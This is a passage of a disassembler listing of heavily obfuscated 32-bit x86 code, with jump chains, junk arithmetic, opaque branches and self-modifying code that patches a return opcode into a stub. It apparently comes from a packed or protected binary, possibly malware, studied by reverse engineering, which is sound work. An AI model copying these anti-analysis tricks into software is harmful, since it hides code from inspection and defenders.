; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_10016256: ; CODE XREF: sub_10014189+9j mov ebp, eax pop eax push 19F44FC4h pop eax jmp loc_1001CB8D ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C67F loc_10016264: ; CODE XREF: sub_1001C67F:loc_1001AE83j pop eax and eax, 0B2729D1Bh add eax, 0FFD84E72h sub eax, 4DC9A1F2h xor eax, 0A7D76135h push offset sub_10016F6B jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_1001C67F ; --------------------------------------------------------------------------- js loc_100186B6 pushf jmp sub_10013044 ; --------------------------------------------------------------------------- locret_10016293: ; CODE XREF: an.kk9rg:loc_1001BCA5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10016294: ; CODE XREF: sub_100136D7+5180j jmp loc_1001D01D ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_10016299: ; CODE XREF: sub_1001498A+15j jmp loc_100196DD ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100185D4 loc_1001629E: ; CODE XREF: sub_100185D4+3j ror ebx, 1Ah adc edi, 4A7CCB36h sub ebp, 60A43881h ; END OF FUNCTION CHUNK FOR sub_100185D4 ; START OF FUNCTION CHUNK FOR sub_1001C67F loc_100162AD: ; CODE XREF: sub_1001C67F:loc_100143D7j push 1343964Dh jmp loc_1001AE83 ; END OF FUNCTION CHUNK FOR sub_1001C67F ; =============== S U B R O U T I N E ======================================= sub_100162B7 proc near ; DATA XREF: an.kk9rg:100166FEo lea eax, nullsub_8 mov byte ptr [eax], 0C3h jmp nullsub_8 sub_100162B7 endp ; --------------------------------------------------------------------------- push offset sub_1001A76E jmp loc_10017174 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100162CF: ; CODE XREF: sub_10015086:loc_1001808Ej imul dword ptr [edx-4] add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] jmp loc_100186CD ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_100162E0: ; CODE XREF: sub_10017D86+1798j adc ebp, 839B1F67h jmp loc_1001493D ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DE48 loc_100162EB: ; CODE XREF: sub_1001DE48+10j test byte ptr [eax-8], 10h jz loc_100152BF inc dword ptr [ebp-8] ; END OF FUNCTION CHUNK FOR sub_1001DE48 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100162F8: ; CODE XREF: an.kk9rg:loc_10016487j ; sub_10013389+7961j mov eax, [ebp-8] pop ecx pop ecx call sub_100152B9 loc_10016302: ; CODE XREF: an.kk9rg:10014A31j xchg edi, [esi] loc_10016304: ; CODE XREF: an.kk9rg:100135FEj ; an.kk9rg:loc_10014A28j add ebx, 83846F41h mov [ebx], eax pop ebx retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DECE loc_1001630E: ; CODE XREF: sub_1001DECE-C35j jmp nullsub_175 ; END OF FUNCTION CHUNK FOR sub_1001DECE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_10016313: ; CODE XREF: sub_10015B5D+28DDj ; sub_10015BFC+4D45j rol eax, 10h jmp loc_1001D039 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_1001631B: ; CODE XREF: an.kk9rg:10018735j jz loc_10017BA7 add edi, eax ; =============== S U B R O U T I N E ======================================= sub_10016323 proc near ; CODE XREF: an.kk9rg:loc_10014A4Ap ; an.kk9rg:1001AC52j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013649 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001798C SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [esp-4+arg_0] push esi mov esi, edi loc_1001632D: ; CODE XREF: an.kk9rg:100161FCj xchg esi, [esp+0] jmp loc_1001798C sub_10016323 endp ; --------------------------------------------------------------------------- mov edx, 0CB804A30h push ecx push 7B62276h pop ecx rol ecx, 19h add ecx, 23F221B5h xchg ecx, [esp] jmp loc_10015626 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10016352: ; CODE XREF: sub_10013688:loc_1001CE13j call sub_10015633 loc_10016357: ; CODE XREF: sub_10016D04+241Dj jz loc_100165C9 jmp loc_100181A5 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10016362: ; CODE XREF: sub_1001701B:loc_1001ADA9j js loc_10017B23 push offset sub_100151FD jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_1001701B ; =============== S U B R O U T I N E ======================================= sub_10016372 proc near ; CODE XREF: an.kk9rg:10014EE1j ; sub_10016167+4BDAp xchg edx, [esp+0] pop edx pop ebp retn sub_10016372 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10016378: ; CODE XREF: sub_1001679F-F50j jmp loc_1001A167 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- jnz loc_10013211 jmp loc_10014DA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016388: ; CODE XREF: sub_10013389+84E2j jnz loc_1001DC50 or eax, 623E4AD0h ja loc_1001D505 jmp loc_1001C772 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019F19 loc_1001639F: ; CODE XREF: sub_10019F19:loc_10017FA3j lea edx, [ebp-14h] mov eax, offset dword_10019624 call sub_10019030 lea eax, [ebp-14h] ; END OF FUNCTION CHUNK FOR sub_10019F19 ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100163AF: ; CODE XREF: sub_100180C2+126Cj push eax call sub_100142E8 jmp loc_100181F1 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; =============== S U B R O U T I N E ======================================= sub_100163BA proc near ; CODE XREF: an.kk9rg:10015787j ; an.kk9rg:10019833p ; FUNCTION CHUNK AT 10014152 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10014184 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 0D3EA4238h pop edx add edx, 5EEDFE10h jmp loc_10014184 sub_100163BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_100163CF: ; CODE XREF: sub_10014DD9:loc_100148E5j jl loc_1001B144 add edi, ebp and ebp, 0C6F0316Eh xor edx, ebp pushf ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_100163E0: ; CODE XREF: sub_1001CBA8:loc_10015722j cmp ebp, 11D71B1Fh jmp loc_1001B13E ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_100163EB: ; CODE XREF: sub_10016D66:loc_10016B7Cj call sub_10019FDC loc_100163F0: ; CODE XREF: sub_10019595-257Fj jmp loc_1001DE5E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_100163F5: ; CODE XREF: sub_10019571-5ADFj jmp loc_1001D783 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100163FA: ; CODE XREF: sub_10018C76:loc_100145E8j pop ecx mov [ebp-20h], eax jmp loc_1001782B ; --------------------------------------------------------------------------- loc_10016403: ; CODE XREF: sub_10018C76:loc_1001601Ej test byte ptr [ebp-8], 40h jz loc_10018FCE push ebp mov eax, [ebp-20h] call sub_10014CCE jmp loc_10016D2F ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001734F loc_1001641B: ; CODE XREF: sub_1001734F+Bj cmp ax, 20FFh jz loc_1001A630 xor eax, eax ; END OF FUNCTION CHUNK FOR sub_1001734F ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10016427: ; CODE XREF: sub_1001C6B0:loc_10013FE4j mov [ebp-5], al mov al, [ebp-5] call sub_1001C619 loc_10016432: ; CODE XREF: sub_10019030-1940j jmp loc_10019B26 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- loc_10016437: ; CODE XREF: an.kk9rg:100140CBj jb loc_1001D83E loc_1001643D: ; CODE XREF: an.kk9rg:loc_1001CF6Bj push 6B21ED5Bh pop eax xor eax, 4C485BF0h rol eax, 6 jmp loc_10015AD9 ; =============== S U B R O U T I N E ======================================= sub_10016451 proc near ; DATA XREF: sub_100173FA+43B1o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013176 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 10014B7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015A3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001694A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017FCA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100186A2 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 1001893A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BA03 SIZE 00000008 BYTES mov esp, ebp pop ebp mov eax, ds:dword_10018614 or eax, eax jnz loc_1001BA03 jmp loc_10017FCA sub_10016451 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016467: ; CODE XREF: sub_10013389+78C4j test ebx, edx jmp loc_1001B22F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001646E: ; CODE XREF: an.kk9rg:10019C57j xchg ecx, [esp] pop ecx pop edx mov eax, [esp] push ecx mov ecx, edx xchg ecx, [esp] call sub_100132E5 jmp loc_10015AB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10016487: ; CODE XREF: an.kk9rg:1001ACE1j jmp loc_100162F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001648C: ; CODE XREF: sub_10015C77+6853j ror eax, 1Ah adc ecx, edx loc_10016491: ; CODE XREF: sub_10015C77:loc_10018760j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10018C2F jmp loc_1001B560 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- loc_100164A2: ; DATA XREF: sub_10016167+4308o push ecx push 0BDE4FD3Ah pop ecx and ecx, 99D9B322h jmp loc_1001CB51 ; --------------------------------------------------------------------------- loc_100164B4: ; DATA XREF: sub_100130C7:loc_1001774Eo mov eax, [ebp-0Ch] movzx eax, byte ptr [eax] add [ebp-8], eax mov eax, [ebp-8] shl eax, 0Ah jmp loc_10019A8B ; --------------------------------------------------------------------------- loc_100164C8: ; CODE XREF: an.kk9rg:100168F7j jno loc_1001AF83 and ecx, 0AE9817AFh ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_100164D4: ; CODE XREF: sub_100132E5+294Dj xor ecx, 0E8C39CEh add ecx, ebp add ecx, 97BAEA30h mov [ecx], eax pop ecx mov eax, [ebp-4] jmp loc_1001DA82 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; =============== S U B R O U T I N E ======================================= sub_100164ED proc near ; DATA XREF: sub_1001CC4A-6DB1o pop ecx sub_100164ED endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_100164EE: ; CODE XREF: sub_10017CF8:loc_1001680Cj jmp loc_1001381E ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100164F3: ; CODE XREF: sub_10013389:loc_10016C09j mov eax, [ebp+8] loc_100164F6: ; CODE XREF: sub_100152C7:loc_1001C7EEj test byte ptr [eax-10h], 38h jnz loc_1001D271 mov eax, [ebp+8] jmp loc_1001569E ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016509: ; CODE XREF: sub_10013389+7BCFj push 0DBDDFE3Ch pop edx xor edx, ds:100000C2h or edx, 0F25961h jnz loc_1001C40E ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10016521: ; CODE XREF: an.kk9rg:loc_1001861Dj ; sub_10016167:loc_1001C1FDj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100169FA jmp loc_1001AA0A ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_10016532 proc near ; CODE XREF: sub_1001A76E+6p ; sub_1001C77E+10j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001479B SIZE 00000014 BYTES xchg ecx, [esp+0] pop ecx mov eax, [esp-4+arg_0] push edx call sub_10019A95 mov eax, 19CFC62Bh call sub_100181E1 jmp loc_1001479B sub_10016532 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150A4 loc_1001654E: ; CODE XREF: sub_100150A4+1FA8j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100150A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10016551: ; CODE XREF: sub_10015D9E+2CFEj jmp loc_1001AC2B ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100182D9 loc_10016556: ; CODE XREF: sub_10013359:loc_1001703Bj ; sub_100182D9+13j push offset sub_100150A4 jmp loc_10015BA4 ; END OF FUNCTION CHUNK FOR sub_100182D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10016560: ; CODE XREF: sub_1001A97E+2B46j add ecx, 8550E4A9h jge loc_10013599 test ebp, esi jmp loc_100178F4 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_10016573 proc near ; CODE XREF: sub_100136D7+2310p ; an.kk9rg:10017349j ; FUNCTION CHUNK AT 10016611 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A828 SIZE 00000008 BYTES xchg esi, [esp+0] pop esi mov [ecx], eax pop ecx lea eax, nullsub_1 jmp loc_1001A828 sub_10016573 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push eax push 238F7065h pop eax xor eax, 0B0EF718Eh rol eax, 0Bh add eax, 0FF24EA7h jmp loc_1001C466 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_100165A1: ; CODE XREF: sub_1001C535:loc_1001517Aj ; sub_1001C535-5B73j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001B8DC jmp loc_1001B97D ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_100165B2: ; CODE XREF: sub_100145ED:loc_1001424Dj ; sub_10018AB1+432Cj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100169FA jmp loc_100138E7 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100165C3: ; CODE XREF: sub_10013389+E5j jle loc_1001C7B9 loc_100165C9: ; CODE XREF: sub_10013688:loc_10016357j ; an.kk9rg:loc_1001778Dj ... jmp loc_100186C8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100165CE: ; CODE XREF: an.kk9rg:100165FBj ; sub_10016D04+2417j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_100165D1: ; CODE XREF: an.kk9rg:10017976j ; sub_1001A54C:loc_1001C72Cj jmp loc_1001B8EE ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_10014653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015F31 loc_100165DE: ; CODE XREF: sub_10015F31+1FCj xchg ebx, [eax] shr edx, 17h pushf ; END OF FUNCTION CHUNK FOR sub_10015F31 ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_100165E4: ; CODE XREF: sub_10015F31:loc_10016120j ; sub_10015E0D+1C10j xor edx, 6984F6ECh add edx, 6AEE736Fh jmp loc_10019E04 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- loc_100165F5: ; CODE XREF: an.kk9rg:100148B4j ; an.kk9rg:loc_10018415j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100165CE jmp loc_1001778D ; --------------------------------------------------------------------------- jmp ds:dword_1000201C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001660C: ; CODE XREF: sub_10015B5D+5081j jmp loc_1001D6EE ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016573 loc_10016611: ; CODE XREF: sub_10016573+42B8j jmp nullsub_1 ; END OF FUNCTION CHUNK FOR sub_10016573 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_10016616: ; CODE XREF: sub_10014CDF:loc_1001514Fj jmp loc_10015BDC ; END OF FUNCTION CHUNK FOR sub_10014CDF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- js loc_100171E7 mov eax, [esp] push edx call sub_1001D461 mov eax, 6E3A3857h jmp loc_1001B368 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_10016635: ; CODE XREF: sub_10018798:loc_1001C5B9j or eax, 34136886h xchg ebx, eax jmp loc_1001939E ; END OF FUNCTION CHUNK FOR sub_10018798 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10016642: ; CODE XREF: sub_10013061+459Aj mov edx, [eax] ror ebx, 19h jmp loc_100136EC ; END OF FUNCTION CHUNK FOR sub_10013061 ; =============== S U B R O U T I N E ======================================= sub_1001664C proc near ; CODE XREF: an.kk9rg:1001BB4Cj ; sub_1001CB33+6p ; FUNCTION CHUNK AT 10016F99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BAD3 SIZE 0000001B BYTES xchg ecx, [esp+0] pop ecx push ebp mov ebp, esp mov esp, ebp pop ebp mov eax, ds:dword_1001B724 or eax, eax jmp loc_1001BAD3 sub_1001664C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D8D9 loc_10016664: ; CODE XREF: sub_1001D8D9+Fj jmp loc_1001C741 ; END OF FUNCTION CHUNK FOR sub_1001D8D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10016669: ; CODE XREF: sub_1001492C+5C63j jmp loc_1001A684 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_1001666E: ; CODE XREF: sub_100181E1-5033j jmp loc_10013128 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- loc_10016673: ; CODE XREF: an.kk9rg:100140C3j js loc_10015EF1 loc_10016679: ; CODE XREF: an.kk9rg:loc_100175CAj xor ecx, 93067DD5h add ecx, 7D425CAAh and ecx, 0A5E6F581h add ecx, 9E7B20DCh add ecx, ebp push eax jmp loc_100178DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150BD loc_10016699: ; CODE XREF: sub_100150BD+17j jnz loc_10016EC9 ; END OF FUNCTION CHUNK FOR sub_100150BD ; START OF FUNCTION CHUNK FOR sub_1001B943 loc_1001669F: ; CODE XREF: sub_1001B943+CAAj jmp loc_10017AF2 ; END OF FUNCTION CHUNK FOR sub_1001B943 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018901 loc_100166A4: ; CODE XREF: sub_10018901:loc_10018910j jmp loc_1001356A ; END OF FUNCTION CHUNK FOR sub_10018901 ; --------------------------------------------------------------------------- sub ecx, ebx push esi jmp loc_10016EC7 ; --------------------------------------------------------------------------- cdq jmp sub_10014A76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_100166B7: ; CODE XREF: sub_1001D951+17j sub edi, 0F1AE2342h test edi, 4000000h jmp loc_1001B823 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100166C8: ; CODE XREF: sub_10019409:loc_1001B06Ej call sub_10019CD1 loc_100166CD: ; CODE XREF: sub_10015BFC+5840j jmp loc_100146E8 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_100166D2: ; CODE XREF: sub_1001D951:loc_1001B823j jnz loc_1001C252 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100166D8: ; CODE XREF: sub_1001A97E:loc_1001672Fj jmp loc_100142A8 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- or edx, 1F8AC2h and edx, 3DBA0AD6h jmp loc_1001C249 ; --------------------------------------------------------------------------- mov eax, 19CFC62Bh call sub_100181E1 mov ds:dword_1000200C, eax push offset sub_100162B7 jmp loc_10014F12 ; --------------------------------------------------------------------------- adc esi, 168A4E57h mov ebx, 688A52FBh jmp sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10016718: ; CODE XREF: sub_10019595+3897j jb loc_1001B22F xchg esi, [edi] popf shl esi, 9 jmp loc_1001684C ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10016729: ; CODE XREF: sub_1001A97E:loc_10018DBEj cmp eax, 390FB9C6h loc_1001672F: ; CODE XREF: an.kk9rg:100140D0j jmp loc_100166D8 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_10016734 proc near ; CODE XREF: sub_1001406Fj ; DATA XREF: sub_10019A95:loc_10014065o var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10013090 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100130A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AE5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10013B0D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10014806 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015D5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016003 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017C91 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017CA8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018185 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018236 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018318 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100195C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B1B2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B5C0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001B844 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001C1D8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C4F7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 1001D08F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D143 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D6CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D7B9 SIZE 00000005 BYTES pop esi mov eax, [ebp-4] mov al, [eax] js loc_1001B5C0 sub al, 99h jmp loc_1001D7B9 sub_10016734 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10016747: ; CODE XREF: sub_1001492C+371Ej sbb edx, 0F8D4A40Dh pushf jmp loc_10013967 ; --------------------------------------------------------------------------- loc_10016753: ; CODE XREF: sub_1001492C:loc_1001B03Dj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10013967 jmp loc_1001DB55 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- loc_10016767: ; CODE XREF: an.kk9rg:10013097j and edx, ebp ; =============== S U B R O U T I N E ======================================= sub_10016769 proc near ; CODE XREF: sub_1001767A:loc_100155C7p xchg edx, [esp+0] pop edx pop ecx pop ebp retn sub_10016769 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_10016770: ; CODE XREF: sub_1001B4CC+Aj jmp loc_100140DB ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10016775: ; CODE XREF: sub_100193F2+BC7j jmp loc_1001322E ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001677A proc near ; CODE XREF: sub_10019571-5AF0p ; sub_100193B1+26AEj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013957 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017798 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001B783 SIZE 00000022 BYTES push edx mov edx, ebp jmp loc_10013957 sub_1001677A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016782: ; CODE XREF: sub_10013389+FBj ; sub_1001CF40:loc_10019216j adc ebx, 75A71367h cdq jmp loc_100142BA ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001678E: ; CODE XREF: sub_100188EE+Ej jnz loc_10018FF3 jmp loc_10014413 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10016799: ; CODE XREF: sub_10015066+1Bj jo loc_1001A009 ; END OF FUNCTION CHUNK FOR sub_10015066 ; =============== S U B R O U T I N E ======================================= sub_1001679F proc near ; CODE XREF: sub_100193F2-AC8p ; FUNCTION CHUNK AT 10013748 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013AF2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100140B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015840 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016378 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017338 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001A167 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001C36D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001DEC9 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnz loc_10017338 jmp loc_10015840 sub_1001679F endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015860 loc_100167AF: ; CODE XREF: sub_10015860+3j jmp sub_1001A3F4 ; END OF FUNCTION CHUNK FOR sub_10015860 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_100167B4: ; CODE XREF: sub_10015D9E:loc_1001C37Bj or eax, 2D6CDC48h jmp loc_1001526E ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- push edi push 0D122280h xchg eax, [esp] mov edi, eax pop eax rol edi, 7 jmp loc_100130DF ; --------------------------------------------------------------------------- loc_100167D3: ; CODE XREF: an.kk9rg:loc_1001A764j and ebp, 61CAD2E1h jnb loc_10016D4A xchg ebp, [edi] add ebx, 0AF650308h jmp loc_1001C484 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_100167EC: ; CODE XREF: sub_1001D392:loc_10018D10j mov esi, eax xchg esi, [esp+0] ror eax, 0Dh push edx jmp loc_1001963E ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- or eax, ecx jmp loc_10015B19 ; 